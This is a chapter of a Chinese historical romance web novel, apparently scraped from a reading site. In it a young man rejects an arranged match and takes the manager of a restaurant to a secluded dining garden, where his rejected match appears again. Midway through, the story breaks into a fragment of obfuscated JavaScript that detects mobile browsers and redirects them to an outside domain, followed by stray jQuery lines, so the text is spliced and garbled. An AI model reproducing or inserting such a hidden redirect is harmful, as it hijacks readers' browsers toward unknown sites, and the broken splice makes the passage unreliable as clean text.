推开门，薛母立马拉着薛怀瑾介绍道：“玉姑娘，这就是我儿，平日里玩闹惯了，不过品性你绝对放心。正等着科举殿试呢，想必你父母也是知道。”
李玉半袖遮面，见薛怀瑾来了，还起身迎接，有些羞怯：“薛二公子我见过。”
他本不想多留，奈何李玉礼数分外周全。来之前，他本想随便找一借口，就说看不上，然后溜走。现在看来，这招数不能用，一时愣住。
薛母看他傻站着，将他引到座位，“来，坐这儿”，又悄悄告诉他，“已为你备了软垫。”
薛怀瑾这才不情不愿坐下，两袖一拨，就是胡扯。
“我已有钟爱外室，共育一女。你若嫁来，主母名头可以给你，可你别想得到我的心。父亲母亲总说让我回头是岸，可我心中只她一人，她便是我的岸，还望娘子另寻佳人，莫误了青丝年华。”他舞之蹈之，好不生动。
李玉听来，笑得圆扇掩面，露不出脸。
“你笑什么？”薛怀瑾一顿输出完，回过头来却发现对面笑得直颤，“你现在应该怒气冲天，泼我茶水，然后一走了之。”
薛母听他胡言，桌子使劲掐他大腿。
李玉笑还不止，强忍道：“我笑公子为了拒绝我，当真连自己都舍得诋毁。方才我说过，我与公子曾见过，公子何不问问我，是在何处见过你。”
“何处？”薛怀瑾疼得很，还在强撑，顺着她的话问。
李玉道来：“一月前，繁花酒楼里，公子可还记得曾救过一位被欺负的姑娘？”
他确实有这段记忆，不过那人面容遮得严实，不曾见到。
若那人就是李玉，那自己就是她的恩人。要想溜之大吉，岂不好办？
他重燃希望，激动问：“你是那歌女？”
李玉还未回言，薛怀瑾再挨薛母一掐，眉毛皱成一团。受伤未愈，又添新伤。
李玉神秘回道：“是，也不是。”
薛怀瑾一头雾水：“这是何意？”
“那日你所救之人是我，的确不假。但我并非歌女，而是李家女儿。所以我才说，‘是，也不是’。起初父亲叫我来此相看郎君，我本是不愿的。后来听说是恩人你，才答应前来，就当是报恩了。”
薛母一听，喜上眉梢，这不正是对自己儿子有意吗。
她连忙拉过李玉的手，温柔慈爱：“玉儿，放心吧啊。莫听他胡言，他可老实着呢，至今还未见他与哪个姑娘走得近。”
薛怀瑾不乐意了，怎么这两人还统一战线了。他在一旁面容忧愁，飞速思考着怎么脱身。
李玉看到他气馁模样，主动提出要与薛怀瑾单独聊聊，找人将薛母先送回薛府。
“那我先走了，你们好好聊。”薛母临走，目光留李玉身上，不舍。
“娘，快走吧。”薛怀瑾人还坐着，心却已飞远。
薛母下楼，薛怀瑾则站在二楼窗边。看她上了马车，一句“多谢”，就要溜之大吉。
“公子留步。”李玉起身将他叫住。
她带着几分期盼，问出心声：“我想问薛公子最后一个问题。你我真的全无可能？”
薛怀瑾没有回头：“不是不可能，只是你的良人并非是我”
“是吗……”李玉低语。
一旁侍女安慰道：“姑娘莫伤心……皇城里喜欢姑娘，盼着与姑娘成婚的公子还差他一个？”
他下楼，正巧小二回来，告知了茶楼位置。他快步出酒楼，往茶楼方向跑去。
李玉在二楼，看他越跑越远，越跑越轻快。她脸上方才的红颜全化作失落，似自问，又像在问侍女。
“你说……他喜欢怎样的人。”
*
薛怀瑾等不及了，即便身上的伤还隐隐作痛。
拒绝了相亲，他一路小跑，只觉得自己满身轻盈。
林茉早已在茶楼等候，她特意戴上那支步摇，还换上一身淡蓝色衣裳相配。
她在窗边细细扫视来往之人，生怕漏过薛怀瑾身影。不久便看见一个生气勃勃，却气喘吁吁的男子来了。
他也看见了林茉，一边挥手，一边加快奔跑。林茉起身，从楼上下去迎接。
薛怀瑾见到林茉，叉着腰喘气，眼中却闪着明亮的光，笑道：“我来了，等久了吗。”
“没有。”林茉从袖中取出手帕，为他擦汗。
此时，薛怀瑾却突然握住她手腕，大手轻易就完整地绕她手腕一圈。而林茉，她怔住了，未料到薛怀瑾有这样的举动，脸颊微红，视线躲闪。
薛怀瑾见她躲避，笑着说：“我自己来吧。”
林茉的手顿住，对上薛怀瑾灿烂的笑，随即松手：“好，好……”
薛怀瑾随意擦两下汗水，纤细白皙的手将那手帕仔细折叠，然后放到自己的身上。
林茉正准备问他要回自己手帕，他却反问林茉一个问题：“你吃了吗？”
“嗯？没有。”林茉先是觉得自己听错了，然后摇头。
薛怀瑾眼中闪过一丝狡黠，继续问：“那你能跑吗？”
林茉不知道他问这个做什么，语气不确定：“能吧……”
薛怀瑾闻言，迅速从钱袋中掏出银子，随手扔给一旁小二，然后猝不及防地握住林茉手腕，嘴角扬起一抹笑意，开心道：“准备好了吗？要开始跑咯。”
“诶？！”林茉还没反应过来，便被他拉着跑起来。虽然不知目的地是何处，林茉心中却莫名却感到安心。
林茉一边跟他步伐，一边问：“我们去哪儿？”
薛怀瑾回头看她，神秘道：“去吃你爱吃的东西。”
二人就这样拉着手腕，在闹市奔跑。人声鼎沸下，林茉的裙摆轻轻扬起，头上步摇摆得厉害，她也浑然不觉。薛怀瑾的衣袍被风吹鼓，也不减意气。他手掌温热，有力地握紧，绝不会弄丢她。
热闹街上，有人低声议论，偏偏二人都不是怕人议论的。
一个抛头露面的女掌柜，一个酒楼常客，二人都不在意。
来到一处安静院落外，薛怀瑾放缓步伐，看着林茉，“跑累了吗？”他没有嘲弄的意思，反而有几分宠爱的意味。
林茉觉得自己一定是看错了，喘着气直起腰：“是有一些，你看我这一身，适合跑吗？”
薛怀瑾故作认真，思考片刻，理直气壮：“不适合。”
话音未落，二人便相视而笑。
笑罢，薛怀瑾指向林茉背后：“看那儿。”
林茉转身，看见院落外牌匾写着四个大字——‘听竹食苑’。
她心中一怔，眼神闪过惊喜之色。
她的确曾经想来这个食苑，只是位置难求，加上后来忙于群芳楼的事务，也就淡忘了。
薛怀瑾见她愣神，笑着解释道：“我听薛情提过。昨日我突然想起，便托人订了位置，想着今日带你来尝尝。只是没想到你先请我喝茶。”
林茉心中暖意一阵，生起波澜：“谢谢。”
这里之所以叫食苑，是因为每个小苑单独成间。里面竹林成片，可以说将‘清雅’二字体现得淋漓尽致。
里面出来一个姑娘，带着二人穿过竹林小径，在一处院落坐下，很快便上菜来了。
林茉只是仔细看着，时不时用筷子夹起，拿近闻。
“你怎么不吃？”薛怀瑾问。
林茉还在认真研究：“你先吃，不用管我。”
“难不成有毒啊。”薛怀瑾玩笑道。
林茉听到‘毒’，抬起头来：“嗯……这个我不知，何出此言。”
薛怀瑾：“你看了又看，闻了又闻，活像那大夫鉴毒，我怕吃下去便一命呜呼。”他装作被毒得颠三倒四模样，往后倒去。
林茉被他逗笑，道：“怎会有毒呢，只是我来这儿，不是为了吃，而是为了学。总有客人说我们群芳楼的菜不如这儿的好吃，所以我来偷师。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061267|158062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>薛怀瑾夹起一块肉，放入她碗中：“你这掌柜未免也太称职了，什么都想着楼里。自己吃好，照顾好自己，才是最重要的。楼中天塌了，自有我那妹妹自己回来顶着。”
林茉吃掉那块肉：“救命之恩，终生来报。楼主救过我，还给我容身之所。对她来说，这不算什么。但对我来说却是一生。所以我经营好群芳楼，让她少操些心，便是我最好的报恩。”
薛怀瑾挪动椅子，靠近些：“你有没有想过，她那时候还没习武呢。一个弱女子，怎么救下你的。”
林茉尝了尝一片炒青菜，坦言：“我其实不记得当时是怎么被救出的，自己的些模糊片段。可能最深刻的那段，已经占据了我整个记忆吧，所以我不记得了。”
“她说你的伤治好了，原来如此。”薛怀瑾欲言又止。
林茉摊手，笑着回答：“的确治好了，我现在不是好好的吗。”
“也是。来，多吃点。”薛怀瑾不再说这事，一个劲地为她夹菜。
林茉看着碗里满满当当，一种许久未曾感受的幸福感涌上心头，她拿筷子的手顿住：“很久没有与人这样吃饭了。”
“爹爹和娘还在的时候，每到用饭也是这样。他们一个劲给我夹菜，我还不愿，闹着要瘦身学轻羽舞。如今……”
说到此处，她已眼眶热泪，悄然抹掉，回头笑起来：“不过，现在好起来了。人我也已经找到，定会让他用命来偿。”
“好。待你大仇得报，我为你送礼祝贺。”薛怀瑾语气绝对，仿佛他知道此事一定会成。
突然，竹林外传来女声：“祝贺什么好事？”
此处乃是独苑，也并未邀请其它人，薛怀瑾正疑惑，却见一熟悉身影。
“李玉姑娘？你怎么在这儿。”他略显惊讶。
“我就在隔壁小苑，听说你在，特来一见。”她微微一笑，眼神转向林茉，“方才匆匆离开，原是为这位姑娘？”
“你们认识？”
林茉见她举止有度，不像是普通人家的姑娘，书蕴之气由内而发，不由得好奇。
李玉替薛怀瑾承认，然后温婉坐下，主动与林茉搭话，“我叫李玉，姑娘是？”
李玉，林茉听过这个名字。与她所想一样，此人的确不凡，是皇城有名的才女。
“我唤林茉，是群芳楼掌柜。”林茉回。
李玉细细打量眼前女子，只觉得她与自己颇为相似。虽是掌柜，却不掩大家闺秀风范，举手投足也颇为有礼，从容有度。
然而，若论大家风范，李玉自认更胜一筹。她隐隐不甘，不明白她究竟有何过人之处，心声比较。
她越是思索，越想探个究竟，便开口道：“今日得薛母牵线，我与薛公子在酒楼相亲。没想到缘分未了，才分开，竟又在此处相见。”
薛怀瑾看二人言谈和气，还在一旁笑呵呵地。见李玉提到相亲，有些慌了，连忙解释：“是我爹，还有我娘，她们非要我去的，我本无意此事……”
林茉闻言，却淡然捧碗，大口大口吃起来：“薛公子正值婚娶之龄，此事再好不过，公子不必与我解释。李玉姑娘花容月貌、文采斐然，与公子甚是相配，应当珍惜才是。”
李玉心中本还存了几分争胜之心，没想到对方却坦然退下一步，反倒让自己为那点心思愧疚了。
林茉说话都有些含糊不清了，“你们吃啊，怎么不吃，很好吃的。”她独自埋头，仿佛不在意他们的对话。
李玉见状，起身道：“我就先不吃了，还有人等着，我先告辞了。”
林茉抬头，还热情挥手告别。“那真是太可惜了，改日来群芳楼，我做东。”
薛怀瑾默默注视着林茉，气氛微妙。
见她吃的太急，便倒了一杯茶水，轻声提醒：“慢些，别噎着。”
林茉从他手上接过茶水，喝下一口，目光直直看向薛怀瑾，带着试探。
“你想成亲吗？”